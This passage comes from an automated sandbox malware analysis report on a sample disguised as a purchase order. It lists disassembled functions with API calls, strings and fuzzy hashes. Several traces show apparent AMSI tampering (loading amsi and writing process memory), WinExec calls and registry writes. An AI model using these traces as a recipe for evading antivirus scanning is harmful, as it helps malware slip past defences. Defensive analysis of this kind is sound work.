formation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2481178504-1225450241
Opcode ID: eaca3ff9a380ad1a89f624bd33a614495d6f1bd8de6db6d30ec67108fbfd3883
Instruction ID: 8c35143d972335dac61c3c255c90d87bc5575e852beddf22c0a2654ae28a4a99
Opcode Fuzzy Hash: eaca3ff9a380ad1a89f624bd33a614495d6f1bd8de6db6d30ec67108fbfd3883
Instruction Fuzzy Hash: FE433179A405589FDB21FB64DD809DE73BAFF88300F1240E6E10AEB754DA709E858F64

Function 02DD1724 Relevance: 13.8, APIs: 7, Strings: 2, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02DD2000), ref: 02DD17D0
Sleep.KERNEL32(0000000A,00000000,?,02DD2000), ref: 02DD17E6

Strings

2 , xrefs: 02DD1830, 02DD1875, 02DD19B9, 02DD1A34
0`, xrefs: 02DD18AC, 02DD18CE, 02DD19D8, 02DD19EE

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Sleep
String ID: 0`$2
API String ID: 3472027048-3539502353
Opcode ID: 3b2f8f9913c85ab9fb57c85fd085bf3c67da1bd894910d2637a234c7ccbbb3c3
Instruction ID: 44d3bca820253f9c3002a5e4804f76c5aa7f6bd0d2d7ac8cd990550187175274
Opcode Fuzzy Hash: 3b2f8f9913c85ab9fb57c85fd085bf3c67da1bd894910d2637a234c7ccbbb3c3
Instruction Fuzzy Hash: BEB14572A80B618BD725CF29E880355BBE1EB84310F0D86AED54E8F385C770EC95CB90

Function 02DD1A8C Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 02DD1B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 02DD1B31

Strings

0`, xrefs: 02DD1BF4, 02DD1C3E

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Sleep
String ID: 0`
API String ID: 3472027048-3339448193
Opcode ID: 8c7f08a0e1bfb254ef4fb845316ec23f3a65bca9dcad7c4289246d9b5d4dca67
Instruction ID: d4622132f09903f02dcd302b39e0ca211c535eac1e6c90c2717a71f0fe8b9206
Opcode Fuzzy Hash: 8c7f08a0e1bfb254ef4fb845316ec23f3a65bca9dcad7c4289246d9b5d4dca67
Instruction Fuzzy Hash: B251FF71640B408FE725CF68D984766BBD1EB46314F1985AED44DCB382E7B0DC89CBA0

Function 02DE8704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02DE870D

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

Part of subcall function 02DE7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE7D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02DE876C

Strings

W, xrefs: 02DE8719
DllGetClassObject, xrefs: 02DE8732
amsi, xrefs: 02DE8708

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 1a2bb198c1e861557d916074efe55d46dae0a7172fe47cb4875a4d49bcb87d9d
Instruction ID: b326fb363068eb3407ccdc358dde2c86f9c78a90e3c52edf1c30a3378742fbdf
Opcode Fuzzy Hash: 1a2bb198c1e861557d916074efe55d46dae0a7172fe47cb4875a4d49bcb87d9d
Instruction Fuzzy Hash: F6F0AF5044C381B9E600F678DC45F4BBECD8B92224F048A48F1E99A3D2D679D5049BB7

Function 02DEE2EE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02DEE42E

Strings

Initialize, xrefs: 02DEE31E
ScanBuffer, xrefs: 02DEE377
OpenSession, xrefs: 02DEE3D0

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 0d1112403a76d79da4c386a01d78ac0b9d93596b48329f3b06c0096707633efb
Instruction ID: b00065fd668c3480578a62708568ffded210970eac7b0dcde966411da90eac44
Opcode Fuzzy Hash: 0d1112403a76d79da4c386a01d78ac0b9d93596b48329f3b06c0096707633efb
Instruction Fuzzy Hash: 39413A35B50548ABEF11FBA4D881ADEB3FAEF48720F218426E042A7354DA74ED058F74

Function 02DE881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02DE8903), ref: 02DE8850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02DE8903), ref: 02DE8860
GetProcAddress.KERNEL32(74BD0000,00000000), ref: 02DE8879

Part of subcall function 02DE7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE7D6C

FreeLibrary.KERNEL32(74BD0000,00000000,02E31388,Function_000065D8,00000004,02E31398,02E31388,000186A3,00000040,02E3139C,74BD0000,00000000,00000000,00000000,00000000,02DE8903), ref: 02DE88E3

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: e43f5fe3201f7c158b1685cda86377b131f3b4b5302c9852eef501cb8652cff4
Instruction ID: 75b07e3b52e8774c781dbc668edcd6fb4babd2533e951a164d2f5d155814cc66
Opcode Fuzzy Hash: e43f5fe3201f7c158b1685cda86377b131f3b4b5302c9852eef501cb8652cff4
Instruction Fuzzy Hash: 98118470A80744ABEF00FBA5DC09A6E77ADDB45701F4244A8B509EBB90CA74DD458FA4

Function 02DE8406 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

WinExec.KERNEL32(?,?), ref: 02DE8470

Strings

WinExec, xrefs: 02DE8421
Kernel32, xrefs: 02DE8453

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 8eb927e98e72879fec56bb09da034cc8676f2bc5a7042ddbdf4f7befaa2bc7f6
Instruction ID: ccbd8014177464468e3a63d5e56ca22464b8acc33e9d436ac9b5abcc092788a5
Opcode Fuzzy Hash: 8eb927e98e72879fec56bb09da034cc8676f2bc5a7042ddbdf4f7befaa2bc7f6
Instruction Fuzzy Hash: 07018134680608BFEB11FFA5DC41B5A77EEEB48710F628460B505DBB50D674AD009E34

Function 02DE8408 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

WinExec.KERNEL32(?,?), ref: 02DE8470

Strings

WinExec, xrefs: 02DE8421
Kernel32, xrefs: 02DE8453

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 6390aaa83181d64ee60667ce079112b60088029d50da4abab1c8cd4ab6b4ab87
Instruction ID: 60f7dc89d6dfa94b81e0e328dd66c740386e61c73c23fce1e347695617445af0
Opcode Fuzzy Hash: 6390aaa83181d64ee60667ce079112b60088029d50da4abab1c8cd4ab6b4ab87
Instruction Fuzzy Hash: E8F08134680608AFEB11FFA5DC41B5A77AEEB48710F628460B505DBB50D674AD009E34

Function 02DE5BAC Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02DE5CF4,?,?,02DE3880,00000001), ref: 02DE5C08
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02DE5CF4,?,?,02DE3880,00000001), ref: 02DE5C36

Part of subcall function 02DD7D10: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02DE3880,02DE5C76,00000000,02DE5CF4,?,?,02DE3880), ref: 02DD7D5E

Part of subcall function 02DD7F18: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02DE3880,02DE5C91,00000000,02DE5CF4,?,?,02DE3880,00000001), ref: 02DD7F37

GetLastError.KERNEL32(00000000,02DE5CF4,?,?,02DE3880,00000001), ref: 02DE5C9B

Part of subcall function 02DDA6F8: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02DDC359,00000000,02DDC3B3), ref: 02DDA717

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: df80bfd7a9ebdd114d6bf0bcb22105e729a5eb36dff786fa00afd3819a184277
Instruction ID: 2018db866ab716010897083e383d87027a5497c29bf7f0e11207d6503e7816b4
Opcode Fuzzy Hash: df80bfd7a9ebdd114d6bf0bcb22105e729a5eb36dff786fa00afd3819a184277
Instruction Fuzzy Hash: E9319F30A40A049FEB00EFA8D8807AEB7F6EB48304F908465E905AB380D7755D45CFB1

Function 02DEE6B6 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02F25914), ref: 02DEE6FC
RegSetValueExA.ADVAPI32(00000844,00000000,00000000,00000001,00000000,0000001C,00000000,02DEE767), ref: 02DEE734
RegCloseKey.ADVAPI32(00000844,00000844,00000000,00000000,00000001,00000000,0000001C,00000000,02DEE767), ref: 02DEE73F

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 7c92a73d65c7673e682fa558b2d978d90932175e341ff737498e8e7f30c00bd0
Instruction ID: 32ec6034680c4521fe2b9acea3b6c53c5b2bf9888d0e7eef69d05edda6b7dd67
Opcode Fuzzy Hash: 7c92a73d65c7673e682fa558b2d978d90932175e341ff737498e8e7f30c00bd0
Instruction Fuzzy Hash: 87113D71600A08AFEB10FBA9D891A6E77ADEB09360F814464F505E7350D730EE418EB0

Function 02DEE6B8 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02F25914), ref: 02DEE6FC
RegSetValueExA.ADVAPI32(00000844,00000000,00000000,00000001,00000000,0000001C,00000000,02DEE767), ref: 02DEE734
RegCloseKey.ADVAPI32(00000844,00000844,00000000,00000000,00000001,00000000,0000001C,00000000,02DEE767), ref: 02DEE73F

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 424f8d6bce7291b578b1bb315ad5e32ad0991008e2a4d1c1edf04cd867cc6e92
Instruction ID: 0c781d9e87bea57a3aed857e57d8d9c7d363b0a8d6f11970553071cac88cd039
Opcode Fuzzy Hash: 424f8d6bce7291b578b1bb315ad5e32ad0991008e2a4d1c1edf04cd867cc6e92
Instruction Fuzzy Hash: 91114F71600A08AFEB10FFA9D891A6E77ADEB09360F814464F505E7350D730EE418FB0

Function 02DDE2E4 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02DDE2F3

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 319a171880cb51b4d504a2298baeab0a28f43c4b4003e2900ddedcf78809e13c
Instruction ID: 679de7402a67a4489d20109f245c633c8e922b51d31b5b2813abfba752493cc1
Opcode Fuzzy Hash: 319a171880cb51b4d504a2298baeab0a28f43c4b4003e2900ddedcf78809e13c
Instruction Fuzzy Hash: 98F0CD21708A14CBDB207B39CDC4A79279ADF01B06F941426E4CA9F305CB24EC49CBB2

Function 02DD4CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02DEE948), ref: 02DD4C1A
SysAllocStringLen.OLEAUT32(?,?), ref: 02DD4D07
SysFreeString.OLEAUT32(00000000), ref: 02DD4D19

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction ID: 52ac6262c28fc40a52ff9f5291a7f3d47138b4585d7d63bd35ba23e51927eda1
Opcode Fuzzy Hash: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction Fuzzy Hash: AAE012B8105A015EFB142F619C41F373B2AEFC2745F148899E804CA354D735CC41ED74

Function 02DE705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02DE735A

Strings

H, xrefs: 02DE7111

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: ed63be248e010efd669bbe3ec851019602575ec714c61f2681de143cebdb4f54
Instruction ID: c58a9aaf7cab76eb7397348d6110c52d8d01bce4b6578e2d479c7458cd4e4407
Opcode Fuzzy Hash: ed63be248e010efd669bbe3ec851019602575ec714c61f2681de143cebdb4f54
Instruction Fuzzy Hash: F2B1D074A01608AFEB51DF99E880A9DFBF2FF49314F248169E856AB360D731AC45CF50

Function 02DDE6E0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02DDE701

Part of subcall function 02DDE2E4: VariantClear.OLEAUT32(?), ref: 02DDE2F3

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: c914504aa464ed615f118031a5f5092f2e4e9650012f11a13161e922ed2ddde7
Instruction ID: fb7e3c2e4656a12df84089af5f600c3e49469dafdef517419b02889415d74ff9
Opcode Fuzzy Hash: c914504aa464ed615f118031a5f5092f2e4e9650012f11a13161e922ed2ddde7
Instruction Fuzzy Hash: B511A524740E10A7CB70AF69C8C4A6677EBEF45751B844426E68A8F345DB30DC41CAB1

Function 02DD15CC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02DD1A03,?,02DD2000), ref: 02DD15E2

Strings

0`, xrefs: 02DD161D, 02DD163A

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AllocVirtual
String ID: 0`
API String ID: 4275171209-3339448193
Opcode ID: f06750dd28f04c11a40e903c666a21d5df83babe982ad83295fc43f2392ee528
Instruction ID: 1610e40b1e490f0ced066a571c44955a5ed353119d5923af8839f0c65cdc47e9
Opcode Fuzzy Hash: f06750dd28f04c11a40e903c666a21d5df83babe982ad83295fc43f2392ee528
Instruction Fuzzy Hash: CDF06DF0B813004FEB15CFBA99453517BD2E789344F59C579D70ADB388E7B1A8498B10

Function 02DDE37C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02DDE3BC

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 27cc8e6cb317cd37fb1058177ccdb6d6d6215684448ef56cc5efc11c45f90d7b
Instruction ID: 2849f6e4fe2a3f6d3806697648303064cb5ce40ef009ad92e58b51e6629b95a6
Opcode Fuzzy Hash: 27cc8e6cb317cd37fb1058177ccdb6d6d6215684448ef56cc5efc11c45f90d7b
Instruction Fuzzy Hash: 20315E72A00A18ABDB10EFACD884ABA77ACFB0D305F444565E945DB340D370ED94CBA1

